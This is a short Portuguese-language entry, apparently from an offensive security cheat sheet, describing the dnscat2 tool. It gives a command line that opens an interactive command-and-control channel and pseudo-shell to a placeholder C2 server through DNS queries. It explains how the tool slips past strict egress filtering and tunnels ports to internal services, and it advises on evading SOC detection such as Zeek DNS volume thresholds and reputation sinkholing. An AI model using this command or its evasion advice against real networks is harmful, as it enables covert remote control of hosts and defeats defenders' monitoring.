dnscat2

dnscat2 --dns server=<c2>,domain=<domain>

Levanta um canal C2 interativo que trafega dentro de consultas DNS: invisível para firewalls que só permitem DNS de saída.

Execute-o quando o host alvo só tem saída DNS (filtragem de egress estrita, DMZ, portais cativos) e você precisa de um canal interativo. O cliente dnscat2 fornece um pseudo-shell e pode fazer túnel de portas com --listen para alcançar serviços internos do host.

Se o resolver corporativo faz sinkholing por reputação de domínio ou o SOC monitora volume de DNS por domínio (Zeek dns.log com thresholds), o túnel é detectado em horas. Não use em domínios recém-registrados: o volume de consultas TXT em um domínio sem histórico é a assinatura mais fácil de caçar.